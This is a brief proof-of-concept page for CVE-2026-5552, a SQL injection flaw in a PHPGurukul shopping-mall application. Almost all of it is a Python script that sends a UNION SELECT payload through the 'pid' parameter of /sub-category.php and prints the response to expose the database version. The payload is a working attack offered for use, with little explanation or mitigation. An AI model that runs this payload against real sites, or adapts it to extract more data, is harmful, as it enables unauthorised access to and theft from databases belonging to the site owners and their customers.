CVE-2026-5552 PHPGurukul商城SQL注入漏洞

# PoC for CVE-2026-5552 # SQL Injection in /sub-category.php via 'pid' parameter import requests target_url = "http://example.com/sub-category.php" payload = "1' UNION SELECT 1, version(), 3, 4, 5-- -" params = { "pid": payload } try: response = requests.get(target_url, params=params, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Check the response for potential SQL output (e.g., database version).") print(response.text[:500]) # Print part of response else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")